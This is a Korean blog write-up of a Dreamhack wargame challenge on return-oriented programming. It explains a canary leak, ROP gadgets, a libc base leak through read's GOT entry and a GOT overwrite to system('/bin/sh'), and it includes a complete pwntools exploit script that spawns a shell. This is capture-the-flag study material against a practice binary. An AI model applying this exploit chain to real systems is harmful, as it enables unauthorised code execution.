// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
setvbuf로 stdin, stout으로 초기화
main():
buf에 0x100만큼 입력
다시 또 buf에 0x100만큼 입력
파일: ELF-64bit 파일
호출규약: SYSV
linking 방식: dynamically linked -> plt와 got를 사용한다.
Canary found: canary가 있다.
NX enabled: stack에 실행권한 X
Partial RELRO: got 쓰기권한 O
첫번째 입력 때 canary를 leak하고,
gadget을 활용해 RTL chaning을 활용해서
두번째 입력 때 read, put의 plt와 got를 활용해서 실제 함수의 주소를 알아낸다.
그 후 library base 주소를 알아낸다.
library base 주소를 알아내고, library base에서 system까지의 offset을 활용한다면, exploit을 성공할 수 있다.
지난 시간에 gadget을 활용해 system함수를 실행했다.
RTL chaining이란 여러 gadget을 활용해서 라이브러리의 여러 함수를 실행할 수 있게 chaining을 해서 공격하는 것을 RTL chaining 공격기법이라 한다.
canary leak은 지난 시간에 했던 것과 같아서 설명은 생략하겠다.
우리는 read의 got를 화면에 출력하고 읽어들여야 한다.
이에 필요한 함수는 puts와 read가 있다.
puts의 인자 갯수는 1개, read의 인자 갯수는 3개이다.
따라서 이에 대한 gadget들을 찾아보자.
그리고 함수를 실행을 하는 puts@plt와 read@plt를 알아내자.
ROPgadget tool을 활용해서
인자를 pop하고, ret을 하는 gadget을 찾아보자.
puts의 gadget
puts의 gadget은 인자가 1개이기 때문에 'pop rdi; ret'를 사용한다.
read의 gadget
read의 gadget은 인자가 3개이기 때문에 'pop rsi ; pop r15 ; ret'을 하고 위에서 찾은 인자 1개를 사용하는 'pop rdi; ret' 이 부분을 붙여서 쓰면 된다.
exploit code를 작성할 때,
e = ELF('./rop')를 추가하고
e.plt['read'], e.got['read'], e.plt['puts']를 사용하자.
위에서 puts를 통해 화면에 read의 got를 구했다면
이제 libc의 base를 구할 수 있다.
그 이유는 offset은 라이브러리에 저장이 되어 있기 때문이다.
그리고 libc의 base를 구했다면, 이젠 system의 함수를 알아낼 수 있다.
이 또한 offset이 라이브러리에 저장이 되어 있기 때문이다.
exploit code를 작성할 때,
libc = ELF('./libc-2.27.so')를 추가하고
위에서 구한 read의 got와 read의 offset을 빼주면 libc_base를 구할 수 있다.
이 때, offset은 'libc.symbols['read']를 통해서 구할 수 있다.
libc_base를 구했으면
system의 offset을 더해주면 system의 주소를 알 수 있다.
이 때, system의 offset은 'libc.symbols['system']을 통해서 구할 수 있다.
알아낸 system함수를 통해 '/bin/sh'을 실행시켜야 shell을 획득할 수 있다.
그렇다면 위에서 구했던 read의 got를 system의 got로 overwrite를 하고, '/bin/sh'을 보내주면 shell을 획득할 수 있게 된다.
from pwn import *
#p = remote("서버", 포트)
p = process("./rop")
e = ELF("./rop")
libc = ELF("./libc-2.27.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
# 여기서 read의 got를 출력
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# [3] GOT overwrite
# read(0, read_got, 0x10)
# read got를 system got로 got를 조작하게 하는 부분
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
# 그 후 read를 통해 "/bin/sh"을 읽어 read_got+0x8에 넣는다. (8바이트만큼 떨어져 있기 때문)
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2) # read의 got를 읽는 부분
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
p.send(p64(system)+b"/bin/sh\x00") # read(0, read_got, 0x10)에서 p64(system)을 넣으면,
# read("/bin/sh") == system("/bin/sh")이 된다.
p.interactive()
exploit에 성공한 모습이다.
서버에 접속해서 exploit은 가능했다.
하지만 local에서는 불가능했다....
그래도 flag를 얻어내 문제를 풀었다.
ROP는 직역을 하면 Return Oriented Programming이다.
ROP 공격 기법은 마치 프로그래밍을 하는 것처럼 함수 호출을 연계하여(RTL chaining) return address를 조작한다.
우리가 방금 한 공격이 바로 ROP 공격 기법이다.
RTL으로 함수 연계 후 system의 got를 알아내서 GOT overwrite를 해 exploit을 했다.
https://d4m0n.tistory.com/84 (ROP 설명)
https://dreamhack.io/wargame/challenges/354/ (문제 출처)